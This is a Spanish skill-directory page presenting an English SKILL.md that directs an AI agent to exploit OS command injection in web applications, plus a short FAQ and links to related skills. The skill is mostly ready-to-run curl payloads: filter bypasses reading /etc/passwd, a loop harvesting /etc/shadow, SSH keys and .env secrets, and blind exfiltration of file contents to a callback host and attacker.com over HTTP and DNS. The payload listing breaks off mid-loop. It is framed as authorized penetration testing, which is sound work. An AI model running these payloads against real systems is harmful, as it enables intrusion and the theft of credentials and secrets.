exploit-command-injection
Qué hace
Esta habilidad guía al agente para comprobar si una aplicación web ejecuta la entrada del usuario como comandos del sistema. Está pensada para probadores de seguridad que tienen permiso para probar la aplicación.
Cuándo usarla
- ✓Cuando pides al agente comprobar un sitio en busca de fallos de inyección de comandos.
- ✓Cuando una revisión de seguridad necesita confirmar si una función de ping o de búsqueda puede abusarse para ejecutar comandos del servidor.
- ✓Cuando quieres una lista clara de pruebas para ejecutar contra un formulario o un parámetro de URL.
Link de la skill
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/command-injection/SKILL.mdCópialo y pégalo en tu IA (Claude, ChatGPT o Cursor) pidiéndole que siga las instrucciones.
Cómo usar
La forma más fácil: copia el mensaje y pégalo en tu IA. Ella lee la skill y sigue las instrucciones.
Mensaje listo para pegar
Para Claude Code, Codex o Cursor: ejecútalo en la carpeta del proyecto y la skill queda instalada.
Descarga el SKILL.md y ponlo en la carpeta de skills de tu agente.
Ejemplo de qué pedirle a la IA
“¿Puedes comprobar si la función de ping de mi aplicación web puede engañarse para ejecutar comandos del servidor?”
5 skills nuevas por semana. 1 minuto de lectura.
Cómo funciona
El agente envía entradas de prueba con caracteres especiales a la aplicación y vigila las respuestas y los tiempos en busca de señales de que se ejecutó un comando.
Contenido técnico (SKILL.md original)
Texto original del autor, en inglés, directo de GitHub.
OS Command Injection
Exploits applications that pass user input to OS commands without sanitization.
Detection
# Basic tests
curl -s 'https://<TARGET>/ping?host=127.0.0.1;id' -o cmdi_semicolon.txt
curl -s 'https://<TARGET>/ping?host=127.0.0.1|id' -o cmdi_pipe.txt
curl -s 'https://<TARGET>/ping?host=127.0.0.1$(id)' -o cmdi_subshell.txt
curl -s 'https://<TARGET>/ping?host=127.0.0.1`id`' -o cmdi_backtick.txt
curl -s 'https://<TARGET>/ping?host=127.0.0.1%0aid' -o cmdi_newline.txt
# Blind detection — time-based
curl -s 'https://<TARGET>/ping?host=127.0.0.1;sleep+5' --max-time 10 -w '\nTime: %{time_total}s\n'
# Blind detection — out-of-band (DNS/HTTP callback)
curl -s 'https://<TARGET>/ping?host=127.0.0.1;curl+http://<CALLBACK>/cmdi'
curl -s 'https://<TARGET>/ping?host=127.0.0.1;nslookup+<CALLBACK>'
Injection Operators
| Operator | Behavior | Example |
|---|---|---|
; |
Sequential execution | ; id |
| |
Pipe output | | id |
|| |
Execute if first fails | || id |
&& |
Execute if first succeeds | && id |
` |
Command substitution | `id` |
$() |
Command substitution | $(id) |
%0a |
Newline | %0aid |
%0d%0a |
CRLF | %0d%0aid |
Bypass Techniques
# Space bypass
curl -s 'https://<TARGET>/ping?host=127.0.0.1;cat${IFS}/etc/passwd'
curl -s 'https://<TARGET>/ping?host=127.0.0.1;{cat,/etc/passwd}'
curl -s 'https://<TARGET>/ping?host=127.0.0.1;cat%09/etc/passwd' # tab
# Keyword bypass (if 'cat' is blocked)
curl -s 'https://<TARGET>/ping?host=127.0.0.1;c\at+/etc/passwd' # backslash
curl -s 'https://<TARGET>/ping?host=127.0.0.1;ca""t+/etc/passwd' # empty quotes
curl -s 'https://<TARGET>/ping?host=127.0.0.1;tac+/etc/passwd' # alternative command
curl -s 'https://<TARGET>/ping?host=127.0.0.1;head+/etc/passwd' # alternative command
# Base64 encoded command
curl -s "https://<TARGET>/ping?host=127.0.0.1;\$(echo+aWQ=|base64+-d|bash)"
Credential/Secret Extraction After RCE Confirmed
Once you have confirmed RCE (e.g., id or hostname output returned), run this single bash call in the NEXT step to locate sensitive files — do NOT issue separate commands per candidate path:
# Single-call sensitive file location sweep
for f in /etc/passwd /etc/shadow /root/.ssh/id_rsa /home/*/.ssh/id_rsa \
/var/www/html/.env /app/.env /app/config.py /app/settings.py \
/opt/app/config.json /tmp/secret.txt /root/secret.txt; do
result=$(curl -s "http://<TARGET>/vuln?cmd=cat+$f" 2>/dev/null | head -5)
[ -n "$result" ] && echo "=== $f ===" && echo "$result"
done > /tmp/rce_harvest.txt
head -50 /tmp/rce_harvest.txt
# Broad credential/secret file search
curl -s "http://<TARGET>/vuln?cmd=find+/+-type+f+\(-name+'*.env'-o+-name+'config*'-o+-name+'secret*'-o+-name+'cred*'-o+-name+'token*'\)+2>/dev/null" \
-o /tmp/find_secrets.txt
head -20 /tmp/find_secrets.txt
Replace /vuln?cmd= with the confirmed injection sink. After locating sensitive files, use the appropriate operator from the Injection Operators table to read their full contents.
Hard rule: Do NOT issue individual curl calls per candidate path — use the loop above. Separate calls waste bash budget and trigger compaction before extraction completes.
Blind Exfiltration
When command output is NOT reflected in the HTTP response, use one of these techniques to extract sensitive content:
# 1. Write to web-accessible path (if webroot is writable)
curl -s 'https://<TARGET>/ping?host=127.0.0.1;cat+/.env+>+/var/www/html/out.txt'
curl -s 'https://<TARGET>/out.txt' # retrieve output
# 2. OOB HTTP exfiltration via curl (base64 to handle special chars)
curl -s 'https://<TARGET>/ping?host=127.0.0.1;curl+http://<CALLBACK>/$(cat+/.env|base64+-w0)'
# 3. OOB HTTP via wget
curl -s 'https://<TARGET>/ping?host=127.0.0.1;wget+-q+-O-+http://<CALLBACK>/$(cat+/.env|base64+-w0)'
# 4. DNS exfiltration (value prefix — DNS labels max 63 chars)
curl -s 'https://<TARGET>/ping?host=127.0.0.1;nslookup+$(cat+/.env|cut+-c1-50).attacker.com'
# 5. Time-based char-by-char oracle (no OOB needed — use for short secrets/tokens)
# Replace /.env with the target file path from Credential/Secret Extraction sweep
TARGET_FILE="/.env"
curl -s "https://<TARGET>/ping?host=127.0.0.1;if+[\"\$(cut+-c1+${TARGET_FILE})\"=+\"s\"];then+sleep+3;fi" \
--max-time 10 -w '\nTime: %{time_total}s\n'
# Automate char extraction
for i in $(seq 1 70); do
for c in {A..Z} {a..z} {0
Preguntas frecuentes
¿Debe usarse solo en aplicaciones propias?
Solo debes probar sistemas para los que tienes permiso escrito. La habilidad está pensada para comprobaciones de seguridad autorizadas.
¿La habilidad corrige el fallo que encuentra?
No. Ayuda a encontrar y confirmar el fallo para que un desarrollador lo corrija.
¿Qué tipo de entrada prueba?
Prueba campos que se pasan a comandos del sistema, como un campo que busca un nombre de host.
Detalles
Descripción original del autor
OS Command Injection — exploiting applications that pass user input to OS commands without sanitization. Covers injection operators (;, |, ||, &&, $(), backticks, newline), blind detection (time-based, OOB callback), and bypass techniques (space, keyword, encoding).
Popularidad
- Estrellas en GitHub
- 6,5 mil
- Posición en el ranking
- #14054
- Licencia
- Apache-2.0
- Actualizada
- 1/11/2026
Comentarios
- …
Más skills de este repositorio
detector-overview
6,5 milAyuda a tu agente a leer el código que marcó un escáner y decidir qué puntos señalados son fallos de seguridad reales y cuáles son falsas alarmas.
exploiter-overview
6,5 milAyuda a tu agente a unir varias debilidades de seguridad confirmadas en una sola cadena de pruebas y comprobar hasta dónde podría llegar esa cadena.
llm-redteam-overview
6,5 milAyuda a tu agente a encontrar la guía adecuada de red team de IA para una prueba, con 15 grupos de tácticas que van desde la inyección de prompts hasta el abuso de modelos.
aatmf-t01-prompt-injection
6,5 milExplica la inyección de prompts, en la que instrucciones ocultas intentan anular un sistema de IA, para que los probadores de seguridad puedan comprobarla.
Skills parecidas
reverse-engineer-anything
422 milAyuda a tu agente a revisar apps y paquetes ya publicados para explicar sus funciones, comparar versiones o guiar una reconstrucción, usando la herramienta REA.
1password
394 milAyuda a tu agente a instalar la CLI de 1Password, iniciar sesión y leer o inyectar secretos sin imprimir sus valores en el chat.
healthcheck
394 milAyuda a tu agente a auditar el ordenador o servidor que ejecuta OpenClaw en busca de riesgos de seguridad, como SSH, cortafuegos, actualizaciones y copias de seguridad, y después sugerir arreglos seguros.